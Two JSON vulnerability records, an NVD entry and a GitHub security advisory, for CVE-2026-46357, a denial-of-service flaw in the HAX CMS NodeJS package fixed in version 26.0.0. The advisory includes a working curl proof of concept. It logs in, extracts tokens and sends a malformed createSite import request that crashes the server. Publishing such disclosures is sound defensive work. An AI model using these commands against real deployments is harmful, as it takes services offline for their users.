{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, the HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. Version 26.0.0 fixes the issue."
    }
  ],
  "id": "CVE-2026-46357",
  "lastModified": "2026-06-05T20:48:21.200",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-06-05T20:17:33.190",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-9r33-xhw8-4qqp"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@haxtheweb/haxcms-nodejs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46357"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T19:51:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service.\n\n### Details\n\nThe `createSite` remote import flow does **not** complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens.\n\nThe crash occurs because `createSite` passes a file object without `originalname`, while `HAXCMSFile.save()` immediately dereferences `tmpFile.originalname.replace(...)`.\n\nAs a result:\n\n- the request reaches privileged code inside `createSite`\n- the server hits the remote file handling path\n- the process crashes before `downloadAndSaveFile()` performs the outbound request\n- no imported file is written into the site directory\n\n### Affected Resources\n\n- src/routes/createSite.js:176\n- src/lib/HAXCMSFile.js:25\n- system/api/createSite\n\n### PoC\n\n1. Obtain a JWT by logging in with valid credentials.\n\n```bash\nJWT=$(curl -s -X POST \u0027http://127.0.0.1:3000/system/api/login\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"admin\",\"password\":\"admin\"}\u0027 | grep -o \u0027\"jwt\":\"[^\"]*\"\u0027 | head -1 | cut -d\u0027\"\u0027 -f4)\n```\n\n2. Extract the required tokens from the `connectionSettings` endpoint.\n\n```bash\nSETTINGS=$(curl -s \u0027http://127.0.0.1:3000/system/api/connectionSettings\u0027)\nROOT_TOKEN=$(printf \u0027%s\u0027 \"$SETTINGS\" | grep -o \u0027\"token\":\"[^\"]*\"\u0027 | head -1 | cut -d\u0027\"\u0027 -f4)\nUSER_TOKEN=$(printf \u0027%s\u0027 \"$SETTINGS\" | grep -o \u0027createSite[^\"]*\u0027 | grep -o \u0027user_token=[^\"\u0026]*\u0027 | cut -d\u0027=\u0027 -f2)\n```\n\n3. Send the malformed request to crash the server.\n\n```bash\ncurl -i -X POST \"http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN\u0026jwt=$JWT\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\n    \\\"token\\\": \\\"$ROOT_TOKEN\\\",\n    \\\"site\\\": { \\\"name\\\": \\\"dos-poc\\\" },\n    \\\"theme\\\": {},\n    \\\"build\\\": {\n      \\\"structure\\\": \\\"import\\\",\n      \\\"type\\\": \\\"import\\\",\n      \\\"items\\\": [],\n      \\\"files\\\": {\n        \\\"files/poc.txt\\\": \\\"http://127.0.0.1:8888/poc.txt\\\"\n      }\n    }\n  }\"\n```\n\n\u003cimg width=\"953\" height=\"433\" alt=\"Empty-Reply\" src=\"https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da\" /\u003e\n\n\nThe curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading \u0027replace\u0027) and nodemon reports the application as crashed.\n\n\u003cimg width=\"950\" height=\"278\" alt=\"crash-detail\" src=\"https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1\" /\u003e\n\n\n### Impact\n\nAn authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.",
  "id": "GHSA-9r33-xhw8-4qqp",
  "modified": "2026-05-19T19:51:51Z",
  "published": "2026-05-19T19:51:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-9r33-xhw8-4qqp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/haxtheweb/issues"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HAX CMS: Denial of Service using Malicious Import Request"
}